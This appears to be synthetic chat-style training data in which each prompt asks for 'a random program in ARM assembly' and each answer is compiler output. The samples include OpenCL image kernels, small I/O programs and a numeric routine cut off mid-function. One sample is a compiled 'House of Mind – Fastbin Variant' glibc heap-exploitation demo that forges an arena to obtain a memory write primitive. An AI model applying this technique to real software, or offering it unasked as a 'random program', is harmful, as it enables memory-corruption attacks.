.ascii "c( &histBuffer[ pixels.s2*HIST_REDUNDANCY + threadOffset ]);"
.ascii " atomic_inc( &histBuffer[ pixels.s3*HIST_REDUNDANCY + thread"
.ascii "Offset ]); atomic_inc( &histBuffer[ pixels.s4*HIST_REDUNDANC"
.ascii "Y + threadOffset ]); atomic_inc( &histBuffer[ pixels.s5*HIST"
.ascii "_REDUNDANCY + threadOffset ]); atomic_inc( &histBuffer[ pixe"
.ascii "ls.s6*HIST_REDUNDANCY + threadOffset ]); atomic_inc( &histBu"
.ascii "ffer[ pixels.s7*HIST_REDUNDANCY + threadOffset ]); } }\n__at"
.ascii "tribute__((reqd_work_group_size(256, 1, 1))) __kernel void k"
.ascii "ernel_HistogramRectAllChannelsReduction( int n, __global uin"
.ascii "t *histBuffer, __global int* histResult) { int channel = get"
.ascii "_group_id(0)/HIST_SIZE; int bin = get_group_id(0)%HIST_SIZE;"
.ascii " int value = 0; for ( uint i = get_local_id(0); i < HIST_RED"
.ascii "UNDANCY; i+=GROUP_SIZE) { value += histBuffer[ channel*HIST_"
.ascii "SIZE*HIST_REDUNDANCY+bin*HIST_REDUNDANCY+i]; } __local int l"
.ascii "ocalHist[GROUP_SIZE]; localHist[get_local_id(0)] = value; ba"
.ascii "rrier(CLK_LOCAL_MEM_FENCE); for (int stride = GROUP_SIZE/2; "
.ascii "stride >= 1; stride /= 2) { if (get_local_id(0) < stride) { "
.ascii "value = localHist[ get_local_id(0)+stride]; } barrier(CLK_LO"
.ascii "CAL_MEM_FENCE); if (get_local_id(0) < stride) { localHist[ g"
.ascii "et_local_id(0)] += value; } barrier(CLK_LOCAL_MEM_FENCE); } "
.ascii "if (get_local_id(0) == 0) { histResult[get_group_id(0)] = lo"
.ascii "calHist[0]; } }\n__attr"
.ascii "ibute__((reqd_work_group_size(256, 1, 1))) __kernel void ker"
.ascii "nel_HistogramRectOneChannelReduction( int n, __global uint *"
.ascii "histBuffer, __global int* histResult) { int bin = get_group_"
.ascii "id(0)%HIST_SIZE; int value = 0; for ( int i = get_local_id(0"
.ascii "); i < HIST_REDUNDANCY; i+=GROUP_SIZE) { value += histBuffer"
.ascii "[ bin*HIST_REDUNDANCY+i]; } __local int localHist[GROUP_SIZE"
.ascii "]; localHist[get_local_id(0)] = value; barrier(CLK_LOCAL_MEM"
.ascii "_FENCE); for (int stride = GROUP_SIZE/2; stride >= 1; stride"
.ascii " /= 2) { if (get_local_id(0) < stride) { value = localHist[ "
.ascii "get_local_id(0)+stride]; } barrier(CLK_LOCAL_MEM_FENCE); if "
.ascii "(get_local_id(0) < stride) { localHist[ get_local_id(0)] += "
.ascii "value; } barrier(CLK_LOCAL_MEM_FENCE); } if (get_local_id(0)"
.ascii " == 0) { histResult[get_group_id(0)] = localHist[0]; } }\n\n"
.ascii "#define CHAR_VEC_WIDTH 4 \n \n#define PIXELS_PER_WORD 32 \n "
.ascii "\n#define PIXELS_PER_BURST 8 \n \n#define BURSTS_PER_WORD (P"
.ascii "IXELS_PER_WORD/PIXELS_PER_BURST) \n typedef union { uchar s["
.ascii "PIXELS_PER_BURST*NUM_CHANNELS]; uchar4 v[(PIXELS_PER_BURST*N"
.ascii "UM_CHANNELS)/CHAR_VEC_WIDTH]; } charVec; __attribute__((reqd"
.ascii "_work_group_size(256, 1, 1))) __kernel void kernel_Threshold"
.ascii "RectToPix( __global const uchar4 *imageData, int height, int"
.ascii " width, int wpl, __global int *thresholds, __global int *hi_"
.ascii "values, __global int *pix) { int pThresholds[NUM_CHANNELS]; "
.ascii "int pHi_Values[NUM_CHANNELS]; for ( int i = 0; i < NUM_CHANN"
.ascii "ELS; i++) { pThresholds[i] = thresholds[i]; pHi_Values[i] = "
.ascii "hi_values[i]; } for ( uint w = get_global_id(0); w < wpl*hei"
.ascii "ght; w += get_global_size(0) ) { unsigned int word = 0; for "
.ascii "( int b = 0; b < BURSTS_PER_WORD; b++) { charVec pixels; int"
.ascii " offset = (w / wpl) * width; offset += (w % wpl) * PIXELS_PE"
.ascii "R_WORD; offset += b * PIXELS_PER_BURST; for (int i = 0; i < "
.ascii "PIXELS_PER_BURST; ++i) pixels.v[i] = imageData[offset + i]; "
.ascii "for ( int p = 0; p < PIXELS_PER_BURST; p++) { for ( int c = "
.ascii "0; c < NUM_CHANNELS; c++) { unsigned char pixChan = pixels.s"
.ascii "[p*NUM_CHANNELS + c]; if (pHi_Values[c] >= 0 && (pixChan > p"
.ascii "Thresholds[c]) == (pHi_Values"
.ascii "[c] == 0)) { const uint kTopBit = 0x80000000; word |= (kTopB"
.ascii "it >> ((b*PIXELS_PER_BURST+p)&31)); } } } } pix[w] = word; }"
.ascii " } \n#define CHAR_VEC_WIDTH 8 \n \n#define PIXELS_PER_WORD 3"
.ascii "2 \n \n#define PIXELS_PER_BURST 8 \n \n#define BURSTS_PER_WO"
.ascii "RD (PIXELS_PER_WORD/PIXELS_PER_BURST) \n typedef union { uch"
.ascii "ar s[PIXELS_PER_BURST*1]; uchar8 v[(PIXELS_PER_BURST*1)/CHAR"
.ascii "_VEC_WIDTH]; } charVec1; __attribute__((reqd_work_group_size"
.ascii "(256, 1, 1))) __kernel void kernel_ThresholdRectToPix_OneCha"
.ascii "n( __global const uchar8 *imageData, int height, int width, "
.ascii "int wpl, __global int *thresholds, __global int *hi_values, "
.ascii "__global int *pix) { int pThresholds[1]; int pHi_Values[1]; "
.ascii "for ( int i = 0; i < 1; i++) { pThresholds[i] = thresholds[i"
.ascii "]; pHi_Values[i] = hi_values[i]; } for ( uint w = get_global"
.ascii "_id(0); w < wpl*height; w += get_global_size(0) ) { unsigned"
.ascii " int word = 0; for ( int b = 0; b < BURSTS_PER_WORD; b++) { "
.ascii "charVec1 pixels; pixels.v[0] = imageData[ w*BURSTS_PER_WORD "
.ascii "+ b + 0 ]; for ( int p = 0; p < PIXELS_PER_BURST; p++) { int"
.ascii " idx = \n#ifdef __ENDIAN_LITTLE__"
.string "\n p ^ 3; \n#else\n p; \n#endif\n unsigned char pixChan = pixels.s[idx]; if (pHi_Values[0] >= 0 && (pixChan > pThresholds[0]) == (pHi_Values[0] == 0)) { const uint kTopBit = 0x80000000; word |= (kTopBit >> ((b*PIXELS_PER_BURST+p)&31)); } } } pix[w] = word; } }\n"
.section .data.rel.local,"aw"
.align 3
.type kernel_src, %object
.size kernel_src, 8
kernel_src:
.xword .LC0
``` |
### Human: Write a random program in ARM assembly### Assistant: ``` .text
.section .rodata
.align 3
.LC0:
.string "House of Mind - Fastbin Variant"
.align 3
.LC1:
.string "=================================="
.align 3
.LC2:
.string "The goal of this technique is to create a fake arena"
.align 3
.LC3:
.string "at an offset of HEAP_MAX_SIZE"
.align 3
.LC4:
.string "Then, we write to the fastbins when the chunk is freed"
.align 3
.LC5:
.string "This creates a somewhat constrained WRITE-WHERE primitive"
.align 3
.LC6:
.string "Find initial location of the heap"
.align 3
.LC7:
.string "Set 'system_mem' (offset 0x888) for fake arena"
.align 3
.LC8:
.string "Target Memory Address for overwrite: %p\n"
.align 3
.LC9:
.string "Must set data at HEAP_MAX_SIZE (0x%x) offset\n"
.align 3
.LC10:
.string "Fake Heap Info struct location: %p\n"
.align 3
.LC11:
.string "Allocate until we reach a MAX_HEAP_SIZE offset"
.align 3
.LC12:
.string "Create fastbin sized chunk to be victim of attack"
.align 3
.LC13:
.string "Fastbin Chunk to overwrite: %p\n"
.align 3
.LC14:
.string "Fill up the TCache so that the fastbin will be used"
.align 3
.LC15:
.string "Setting 'ar_ptr' (our fake arena) in heap_info struct to %p\n"
.align 3
.LC16:
.string "Target Write at %p prior to exploitation: 0x%x\n"
.align 3
.LC17:
.string "Set non-main arena bit on the fastbin chunk"
.align 3
.LC18:
.string "NOTE: This keeps the next chunk size valid because the actual chunk size was never changed\n"
.align 3
.LC19:
.string "When we free the fastbin chunk with the non-main arena bit"
.align 3
.LC20:
.string "set, it will cause our fake 'heap_info' struct to be used."
.align 3
.LC21:
.string "This will dereference our fake arena location and write"
.align 3
.LC22:
.string "the address of the heap to an offset of the arena pointer."
.align 3
.LC23:
.string "Trigger the magic by freeing the chunk!"
.align 3
.LC24:
.string "Target Write at %p: 0x%llx\n"
.align 3
.LC25:
.string "program.c"
.align 3
.LC26:
.string "*((unsigned long *) (target_loc)) != 0"
.text
.align 2
.global main
.type main, %function
main:
.LFB6:
.cfi_startproc
stp x29, x30, [sp, -160]!
.cfi_def_cfa_offset 160
.cfi_offset 29, -160
.cfi_offset 30, -152
mov x29, sp
adrp x0, :got:__stack_chk_guard
ldr x0, [x0, #:got_lo12:__stack_chk_guard]
ldr x1, [x0]
str x1, [sp, 152]
mov x1, 0
adrp x0, .LC0
add x0, x0, :lo12:.LC0
bl puts
adrp x0, .LC1
add x0, x0, :lo12:.LC1
bl puts
adrp x0, .LC2
add x0, x0, :lo12:.LC2
bl puts
adrp x0, .LC3
add x0, x0, :lo12:.LC3
bl puts
adrp x0, .LC4
add x0, x0, :lo12:.LC4
bl puts
adrp x0, .LC5
add x0, x0, :lo12:.LC5
bl puts
mov w0, 67108864
str w0, [sp, 24]
mov w0, 130816
str w0, [sp, 28]
adrp x0, .LC6
add x0, x0, :lo12:.LC6
bl puts
mov x0, 4096
bl malloc
str x0, [sp, 40]
ldr x0, [sp, 40]
add x0, x0, 48
str x0, [sp, 48]
ldr x0, [sp, 40]
sub x0, x0, #16
str x0, [sp, 56]
adrp x0, .LC7
add x0, x0, :lo12:.LC7
bl puts
ldr x0, [sp, 40]
add x0, x0, 2184
mov w1, -1
strb w1, [x0]
ldr x0, [sp, 40]
add x0, x0, 2185
mov w1, -1
strb w1, [x0]
ldr x0, [sp, 40]
add x0, x0, 2186
mov w1, -1
strb w1, [x0]
ldr x1, [sp, 48]
adrp x0, .LC8
add x0, x0, :lo12:.LC8
bl printf
ldr w1, [sp, 24]
adrp x0, .LC9
add x0, x0, :lo12:.LC9
bl printf
ldrsw x1, [sp, 24]
ldr x0, [sp, 56]
add x1, x1, x0
ldr w0, [sp, 24]
neg w0, w0
sxtw x0, w0
and x0, x1, x0
str x0, [sp, 64]
ldr x0, [sp, 64]
str x0, [sp, 72]
ldrsw x0, [sp, 28]
bl malloc
str x0, [sp, 32]
ldr x1, [sp, 72]
adrp x0, .LC10
add x0, x0, :lo12:.LC10
bl printf
adrp x0, .LC11
add x0, x0, :lo12:.LC11
bl puts
b .L2
.L3:
ldrsw x0, [sp, 28]
bl malloc
str x0, [sp, 32]
.L2:
ldr x0, [sp, 32]
ldr x1, [sp, 64]
cmp x1, x0
bhi .L3
adrp x0, .LC12
add x0, x0, :lo12:.LC12
bl puts
mov x0, 80
bl malloc
str x0, [sp, 80]
ldr x0, [sp, 80]
sub x0, x0, #16
str x0, [sp, 88]
ldr x1, [sp, 80]
adrp x0, .LC13
add x0, x0, :lo12:.LC13
bl printf
adrp x0, .LC14
add x0, x0, :lo12:.LC14
bl puts
str wzr, [sp, 16]
b .L4
.L5:
mov x0, 80
bl malloc
mov x2, x0
ldrsw x0, [sp, 16]
lsl x0, x0, 3
add x1, sp, 96
str x2, [x1, x0]
ldr w0, [sp, 16]
add w0, w0, 1
str w0, [sp, 16]
.L4:
ldr w0, [sp, 16]
cmp w0, 6
ble .L5
str wzr, [sp, 20]
b .L6
.L7:
ldrsw x0, [sp, 20]
lsl x0, x0, 3
add x1, sp, 96
ldr x0, [x1, x0]
bl free
ldr w0, [sp, 20]
add w0, w0, 1
str w0, [sp, 20]
.L6:
ldr w0, [sp, 20]
cmp w0, 6
ble .L7
ldr x1, [sp, 40]
adrp x0, .LC15
add x0, x0, :lo12:.LC15
bl printf
ldr x1, [sp, 40]
ldr x0, [sp, 72]
str x1, [x0]
ldr x0, [sp, 48]
ldrb w0, [x0]
mov w2, w0
ldr x1, [sp, 48]
adrp x0, .LC16
add x0, x0, :lo12:.LC16
bl printf
adrp x0, .LC17
add x0, x0, :lo12:.LC17
bl puts
adrp x0, .LC18
add x0, x0, :lo12:.LC18
bl puts
ldr x0, [sp, 88]
add x0, x0, 8
mov x1, 100
str x1, [x0]
adrp x0, .LC19
add x0, x0, :lo12:.LC19
bl puts
adrp x0, .LC20
add x0, x0, :lo12:.LC20
bl puts
adrp x0, .LC21
add x0, x0, :lo12:.LC21
bl puts
adrp x0, .LC22
add x0, x0, :lo12:.LC22
bl puts
adrp x0, .LC23
add x0, x0, :lo12:.LC23
bl puts
ldr x0, [sp, 80]
bl free
ldr x0, [sp, 48]
ldr x0, [x0]
mov x2, x0
ldr x1, [sp, 48]
adrp x0, .LC24
add x0, x0, :lo12:.LC24
bl printf
ldr x0, [sp, 48]
ldr x0, [x0]
cmp x0, 0
bne .L8
adrp x0, __PRETTY_FUNCTION__.0
add x3, x0, :lo12:__PRETTY_FUNCTION__.0
mov w2, 234
adrp x0, .LC25
add x1, x0, :lo12:.LC25
adrp x0, .LC26
add x0, x0, :lo12:.LC26
bl __assert_fail
.L8:
mov w0, 0
mov w1, w0
adrp x0, :got:__stack_chk_guard
ldr x0, [x0, #:got_lo12:__stack_chk_guard]
ldr x3, [sp, 152]
ldr x2, [x0]
subs x3, x3, x2
mov x2, 0
beq .L10
bl __stack_chk_fail
.L10:
mov w0, w1
ldp x29, x30, [sp], 160
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE6:
.size main, .-main
.section .rodata
.align 3
.type __PRETTY_FUNCTION__.0, %object
.size __PRETTY_FUNCTION__.0, 5
__PRETTY_FUNCTION__.0:
.string "main"
``` |
### Human: Write a random program in ARM assembly### Assistant: ``` .text
.section .rodata
.align 3
.LC0:
.string "%d"
.align 3
.LC1:
.string "%d\n"
.text
.align 2
.global main
.type main, %function
main:
.LFB6:
.cfi_startproc
sub sp, sp, #4048
.cfi_def_cfa_offset 4048
stp x29, x30, [sp]
.cfi_offset 29, -4048
.cfi_offset 30, -4040
mov x29, sp
adrp x0, :got:__stack_chk_guard
ldr x0, [x0, #:got_lo12:__stack_chk_guard]
ldr x1, [x0]
str x1, [sp, 4040]
mov x1, 0
str wzr, [sp, 28]
add x0, sp, 24
mov x1, x0
adrp x0, .LC0
add x0, x0, :lo12:.LC0
bl __isoc99_scanf
ldr w0, [sp, 24]
str w0, [sp, 36]
str wzr, [sp, 32]
b .L2
.L3:
add x0, sp, 28
mov x1, x0
adrp x0, .LC0
add x0, x0, :lo12:.LC0
bl __isoc99_scanf
ldr w0, [sp, 32]
add w0, w0, 1
ldr w2, [sp, 28]
sxtw x0, w0
lsl x0, x0, 2
add x1, sp, 40
str w2, [x1, x0]
ldr w0, [sp, 32]
add w0, w0, 1
str w0, [sp, 32]
.L2:
ldr w0, [sp, 24]
ldr w1, [sp, 32]
cmp w1, w0
blt .L3
ldr w0, [sp, 24]
add w0, w0, 1
sxtw x0, w0
lsl x0, x0, 2
add x1, sp, 40
str wzr, [x1, x0]
.L4:
ldrsw x0, [sp, 36]
lsl x0, x0, 2
add x1, sp, 40
ldr w0, [x1, x0]
mov w1, w0
adrp x0, .LC1
add x0, x0, :lo12:.LC1
bl printf
ldr w0, [sp, 36]
sub w0, w0, #1
str w0, [sp, 36]
ldr w0, [sp, 36]
cmp w0, 0
bgt .L4
mov w0, 0
mov w1, w0
adrp x0, :got:__stack_chk_guard
ldr x0, [x0, #:got_lo12:__stack_chk_guard]
ldr x3, [sp, 4040]
ldr x2, [x0]
subs x3, x3, x2
mov x2, 0
beq .L6
bl __stack_chk_fail
.L6:
mov w0, w1
ldp x29, x30, [sp]
add sp, sp, 4048
.cfi_restore 29
.cfi_restore 30
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE6:
.size main, .-main
``` |
### Human: Write a random program in ARM assembly### Assistant: ``` .text
.section .rodata
.align 3
.LC0:
.string "%d %d"
.align 3
.LC1:
.string "ERROR"
.align 3
.LC2:
.string "%d %d\n"
.text
.align 2
.global main
.type main, %function
main:
.LFB0:
.cfi_startproc
stp x29, x30, [sp, -32]!
.cfi_def_cfa_offset 32
.cfi_offset 29, -32
.cfi_offset 30, -24
mov x29, sp
adrp x0, :got:__stack_chk_guard
ldr x0, [x0, #:got_lo12:__stack_chk_guard]
ldr x1, [x0]
str x1, [sp, 24]
mov x1, 0
add x1, sp, 20
add x0, sp, 16
mov x2, x1
mov x1, x0
adrp x0, .LC0
add x0, x0, :lo12:.LC0
bl __isoc99_scanf
ldr w1, [sp, 16]
ldr w0, [sp, 20]
add w0, w1, w0
and w0, w0, 1
cmp w0, 0
bne .L2
ldr w1, [sp, 20]
ldr w0, [sp, 16]
sub w0, w1, w0
and w0, w0, 1
cmp w0, 0
beq .L3
.L2:
adrp x0, .LC1
add x0, x0, :lo12:.LC1
bl puts
b .L4
.L3:
ldr w1, [sp, 16]
ldr w0, [sp, 20]
add w0, w1, w0
lsr w1, w0, 31
add w0, w1, w0
asr w0, w0, 1
mov w3, w0
ldr w1, [sp, 20]
ldr w0, [sp, 16]
sub w0, w1, w0
lsr w1, w0, 31
add w0, w1, w0
asr w0, w0, 1
mov w2, w0
mov w1, w3
adrp x0, .LC2
add x0, x0, :lo12:.LC2
bl printf
.L4:
mov w0, 0
mov w1, w0
adrp x0, :got:__stack_chk_guard
ldr x0, [x0, #:got_lo12:__stack_chk_guard]
ldr x3, [sp, 24]
ldr x2, [x0]
subs x3, x3, x2
mov x2, 0
beq .L6
bl __stack_chk_fail
.L6:
mov w0, w1
ldp x29, x30, [sp], 32
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE0:
.size main, .-main
``` |
### Human: Write a random program in ARM assembly### Assistant: ``` .text
.align 2
.global tlann_
.type tlann_, %function
tlann_:
.LFB0:
.cfi_startproc
stp x29, x30, [sp, -240]!
.cfi_def_cfa_offset 240
.cfi_offset 29, -240
.cfi_offset 30, -232
mov x29, sp
str x0, [sp, 104]
str x1, [sp, 96]
str x2, [sp, 88]
str x3, [sp, 80]
str x4, [sp, 72]
str x5, [sp, 64]
str x6, [sp, 56]
str x7, [sp, 48]
ldr x0, [sp, 240]
str x0, [sp, 40]
ldr x0, [sp, 248]
str x0, [sp, 32]
ldr x0, [sp, 256]
str x0, [sp, 24]
ldr x0, [sp, 264]
str x0, [sp, 16]
adrp x0, :got:__stack_chk_guard
ldr x0, [x0, #:got_lo12:__stack_chk_guard]
ldr x1, [x0]
str x1, [sp, 232]
mov x1, 0
ldr x0, [sp, 96]
ldr w0, [x0]
str w0, [sp, 140]
ldr x0, [sp, 88]
ldr w0, [x0]
str w0, [sp, 152]
ldr x0, [sp, 80]
ldr s0, [x0]
str s0, [sp, 156]
ldr x0, [sp, 72]
ldr s0, [x0]
str s0, [sp, 160]
ldr x0, [sp, 64]
ldr s0, [x0]
str s0, [sp, 164]
ldr x0, [sp, 56]
ldr s0, [x0]
str s0, [sp, 168]
ldr x0, [sp, 48]
ldr s0, [x0]
str s0, [sp, 172]
ldr x0, [sp, 40]
ldr w0, [x0]
str w0, [sp, 176]
ldr x0, [sp, 32]
ldr w0, [x0]
str w0, [sp, 180]
ldr x0, [sp, 24]
ldr w0, [x0]
str w0, [sp, 184]
ldr x0, [sp, 16]
ldr w0, [x0]
str w0, [sp, 188]
ldr w0, [sp, 152]
lsl w0, w0, 1
str w0, [sp, 192]
ldr s1, [sp, 156]
ldr s0, [sp, 160]
fmul s1, s1, s0
ldr s0, [sp, 172]
fmul s0, s1, s0
fcvtzs s0, s0
ldr w0, [sp, 140]
fmov w1, s0
add w0, w0, w1
str w0, [sp, 196]
ldr s0, [sp, 168]
str s0, [sp, 132]
ldr w0, [sp, 180]
cmp w0, 0
ble .L2
b .L3
.L19:
ldr s0, [sp, 160]
mov w0, 1125515264
fmov s1, w0
fcmpe s0, s1
bmi .L45
b .L53
.L45:
ldr s0, [sp, 140]
scvtf s0, s0
fcvt d1, s0
fmov d0, 8.0e+0
fdiv d1, d1, d0
fmov d0, 5.0e-1
fadd d0, d1, d0
fcvtzs w0, d0
sub w0, w0, #3
str w0, [sp, 120]
b .L6
.L53:
ldr s0, [sp, 160]
mov w0, 1132068864
fmov s1, w0
fcmpe s0, s1
bmi .L46
b .L54
.L46:
ldr s0, [sp, 140]
scvtf s0, s0
fcvt d1, s0
fmov d0, 8.0e+0
fdiv d1, d1, d0
fmov d0, 5.0e-1
fadd d0, d1, d0
fcvtzs w0, d0
sub w0, w0, #4
str w0, [sp, 120]
b .L6
.L54:
ldr s0, [sp, 140]
scvtf s0, s0
fcvt d1, s0
fmov d0, 8.0e+0
fdiv d1, d1, d0
fmov d0, 5.0e-1
fadd d0, d1, d0
fcvtzs w0, d0
sub w0, w0, #5
str w0, [sp, 120]
.L6:
ldr w0, [sp, 120]
str w0, [sp, 128]
ldr s1, [sp, 132]
fmov s0, 1.0e+1
fcmpe s1, s0
bmi .L47
b .L55
.L47:
mov w0, 5
str w0, [sp, 144]
ldr s0, [sp, 132]
str s0, [sp, 136]
b .L11
.L55:
mov w0, 6
str w0, [sp, 144]
fmov s0, 1.0e+1
ldr s1, [sp, 132]
fdiv s0, s1, s0
str s0, [sp, 136]
.L11:
mov w0, 1
str w0, [sp, 124]
b .L12
.L17:
ldr w0, [sp, 184]
cmp w0, 1
bne .L13
ldr w0, [sp, 144]
sub w0, w0, #2
ldr w1, [sp, 124]
cmp w1, w0
bne .L13
ldr w0, [sp, 124]
add w0, w0, 1
str w0, [sp, 124]
.L13:
ldr s0, [sp, 136]
fcmpe s0, #0.0
bmi .L48
b .L14
.L48:
ldr s0, [sp, 136]
fneg s0, s0
str s0, [sp, 136]
.L14:
ldr s0, [sp, 136]
fcvt d0, s0
adrp x0, .LC0
ldr d1, [x0, #:lo12:.LC0]
fadd d0, d0, d1
fcvtzs w0, d0
str w0, [sp, 204]
ldr s0, [sp, 204]
scvtf s0, s0
ldr s1, [sp, 136]
fsub s1, s1, s0
fmov s0, 1.0e+1
fmul s0, s1, s0
str s0, [sp, 136]
ldrsw x0, [sp, 128]
ldr x1, [sp, 104]
add x0, x1, x0
ldr s0, [sp, 160]
fcvt d0, s0
ldr w5, [sp, 180]
ldr w4, [sp, 176]
ldr w3, [sp, 124]
ldr w2, [sp, 192]
mov x1, x0
ldr w0, [sp, 204]
bl sideann
str w0, [sp, 200]
ldr w1, [sp, 200]
ldr w0, [sp, 192]
mul w0, w1, w0
ldr w1, [sp, 128]
add w0, w1, w0
str w0, [sp, 128]
ldr w0, [sp, 144]
sub w0, w0, #4
ldr w1, [sp, 124]
cmp w1, w0
bne .L16
ldr w0, [sp, 188]
cmp w0, 1
bne .L16
ldrsw x0, [sp, 128]
ldr x1, [sp, 104]
add x0, x1, x0
ldr s0, [sp, 160]
fcvt d0, s0
ldr w5, [sp, 180]
ldr w4, [sp, 176]
mov w3, 0
ldr w2, [sp, 192]
mov x1, x0
mov w0, 11
bl sideann
str w0, [sp, 200]
ldr w0, [sp, 200]
lsl w0, w0, 1
mov w1, 21846
movk w1, 0x5555, lsl 16
smull x1, w0, w1
lsr x1, x1, 32
asr w0, w0, 31
sub w1, w1, w0
ldr w0, [sp, 192]
mul w0, w1, w0
ldr w1, [sp, 128]
add w0, w1, w0
str w0, [sp, 128]
.L16:
ldr w0, [sp, 124]
add w0, w0, 1
str w0, [sp, 124]
.L12:
ldr w1, [sp, 124]
ldr w0, [sp, 144]
cmp w1, w0
blt .L17
ldrsw x0, [sp, 128]
ldr x1, [sp, 104]
add x0, x1, x0
ldr s0, [sp, 160]
fcvt d0, s0
ldr w5, [sp, 180]
ldr w4, [sp, 176]
ldr w3, [sp, 124]
ldr w2, [sp, 192]
mov x1, x0
mov w0, 10
bl sideann
str w0, [sp, 200]
ldr s0, [sp, 140]
scvtf s1, s0
ldr s2, [sp, 164]
ldr s0, [sp, 156]
fmul s2, s2, s0
ldr s0, [sp, 160]
fmul s0, s2, s0
fadd s0, s1, s0
fcvtzs s0, s0
str s0, [sp, 140]
ldr w0, [sp, 184]
cmp w0, 1
bne .L18
ldr w0, [sp, 196]
add w0, w0, 1
str w0, [sp, 140]
.L18:
ldr s1, [sp, 132]
ldr s0, [sp, 164]
fadd s0, s1, s0
str s0, [sp, 132]
.L3:
ldr w1, [sp, 140]
ldr w0, [sp, 196]
cmp w1, w0
ble .L19
b .L1
.L2:
ldr w0, [sp, 140]
str w0, [sp, 148]
b .L21
.L22:
ldr s0, [sp, 148]
scvtf s1, s0
ldr s2, [sp, 164]
ldr s0, [sp, 156]
fmul s2, s2, s0
ldr s0, [sp, 160]
fmul s0, s2, s0
fadd s0, s1, s0
fcvtzs s0, s0
str s0, [sp, 148]
.L21:
ldr w1, [sp, 148]
ldr w0, [sp, 196]
cmp w1, w0
blt .L22
ldr w0, [sp, 196]
str w0, [sp, 148]
b .L23
.L42:
ldr s0, [sp, 160]
mov w0, 1125515264
fmov s1, w0
fcmpe s0, s1
bmi .L49
b .L56
.L49:
ldr s0, [sp, 148]
scvtf s0, s0
fcvt d1, s0
fmov d0, 8.0e+0
fdiv d1, d1, d0
fmov d0, 5.0e-1
fadd d0, d1, d0
fcvtzs w0, d0
sub w0, w0, #3
str w0, [sp, 120]
b .L26
.L56:
ldr s0, [sp, 160]
mov w0, 1132068864
fmov s1, w0
fcmpe s0, s1
bmi .L50
b .L57
.L50:
ldr s0, [sp, 148]
scvtf s0, s0
fcvt d1, s0
fmov d0, 8.0e+0
fdiv d1, d1, d0
fmov d0, 5.0e-1
fadd d0, d1, d0
fcvtzs w0, d0
sub w0, w0, #4
str w0, [sp, 120]
b .L26
.L57:
ldr s0, [sp, 148]
scvtf s0, s0
fcvt d1, s0
fmov d0, 8.0e+0
fdiv d1, d1, d0
fmov d0, 5.0e-1
fadd d0, d1, d0
fcvtzs w0, d0
sub w0, w0, #5
str w0, [sp, 120]
.L26:
ldr w0, [sp, 120]
str w0, [sp, 128]
ldr s1, [sp, 132]
fmov s0, 1.0e+1
fcmpe s1, s0
bmi .L51
b .L58
.L51:
mov w0, 5
str w0, [sp, 144]
ldr s0, [sp, 132]
str s0, [sp, 136]
b .L31
.L58:
mov w0, 6
str w0, [sp, 144]
fmov s0, 1.0e+1
ldr s1, [sp, 132]
fdiv s0, s1, s0
str s0, [sp, 136]
.L31:
ldr s0, [sp, 136]
fcmpe s0, #0.0
bmi .L52
b .L32
.L52:
ldr s0, [sp, 136]
fneg s0, s0
str s0, [sp, 136]
.L32:
str wzr, [sp, 124]
b .L34
.L35:
ldr s0, [sp, 136]
fcvt d0, s0
adrp x0, .LC0
ldr d1, [x0, #:lo12:.LC0]
fadd d0, d0, d1
fcvtzs w0, d0
str w0, [sp, 204]
ldrsw x0, [sp, 124]
lsl x0, x0, 2
add x1, sp, 208
ldr w2, [sp, 204]
str w2, [x1, x0]
ldr s0, [sp, 204]
scvtf s0, s0
ldr s1, [sp, 136]
fsub s1, s1, s0
fmov s0, 1.0e+1
fmul s0, s1, s0
str s0, [sp, 136]
ldr w0, [sp, 124]
add w0, w0, 1
str w0, [sp, 124]
.L34:
ldr w1, [sp, 124]
ldr w0, [sp, 144]
cmp w1, w0
blt .L35
ldr w0, [sp, 144]
sub w0, w0, #2
str w0, [sp, 124]
b .L36
.L41:
ldr w0, [sp, 144]
cmp w0, 5
bne .L37
ldr w0, [sp, 184]
cmp w0, 1
bne .L37
ldr w0, [sp, 144]
sub w0, w0, #2
ldr w1, [sp, 124]
cmp w1, w0
bne .L37
ldr w0, [sp, 124]
sub w0, w0, #1
str w0, [sp, 124]
.L37:
ldr w0, [sp, 144]
cmp w0, 6
bne .L38
ldr w0, [sp, 144]
sub w0, w0, #3
ldr w1, [sp, 124]
cmp w1, w0
bne .L38
ldr w0, [sp, 124]
sub w0, w0, #1
str w0, [sp, 124]
.L38:
ldrsw x0, [sp, 124]
lsl x0, x0, 2
add x1, sp, 208
ldr w6, [x1, x0]
ldrsw x0, [sp, 128]
ldr x1, [sp, 104]
add x0, x1, x0
ldr s0, [sp, 160]
fcvt d0, s0
ldr w5, [sp, 180]
ldr w4, [sp, 176]
mov w3, 1
ldr w2, [sp, 192]
mov x1, x0
mov w0, w6
bl sideann
str w0, [sp, 200]
ldr w1, [sp, 200]
ldr w0, [sp, 192]
mul w0, w1, w0
ldr w1, [sp, 128]
add w0, w1, w0
str w0, [sp, 128]
ldr w0, [sp, 144]
cmp w0, 5
bne .L39
ldr w0, [sp, 144]
sub w0, w0, #4
ldr w1, [sp, 124]
cmp w1, w0
bne .L39
ldr w0, [sp, 188]
cmp w0, 1
bne .L39
ldrsw x0, [sp, 128]
ldr x1, [sp, 104]
add x0, x1, x0
ldr s0, [sp, 160]
fcvt d0, s0
ldr w5, [sp, 180]
ldr w4, [sp, 176]
mov w3, 0
ldr w2, [sp, 192]
mov x1, x0
mov w0, 11
bl sideann
str w0, [sp, 200]
ldr w0, [sp, 200]
lsl w0, w0, 1
mov w1, 21846
movk w1, 0x5555, lsl 16
smull x1, w0, w1
lsr x1, x1, 32
asr w0, w0, 31
sub w1, w1, w0
ldr w0, [sp, 192]
mul w0, w1, w0
ldr w1, [sp, 128]
add w0, w1, w0
str w0, [sp, 128]
.L39:
ldr w0, [sp, 144]
cmp w0, 6
bne .L40
ldr w0, [sp, 124]
cmp w0, 2
bne .L40
ldr w0, [sp, 188]
cmp w0, 1
bne .L40
ldrsw x0, [sp, 128]
ldr x1, [sp, 104]
add x0, x1, x0
ldr s0, [sp, 160]
fcvt d0, s0
ldr w5, [sp, 180]
ldr w4, [sp, 176]
mov w3, 0
ldr w2, [sp, 192]
mov x1, x0
mov w0, 11
bl sideann
str w0, [sp, 200]
ldr w0, [sp, 200]
lsl w0, w0, 1
mov w1, 21846
movk w1, 0x5555, lsl 16
smull x1, w0, w1
lsr x1, x1, 32
asr w0, w0, 31
sub w1, w1, w0
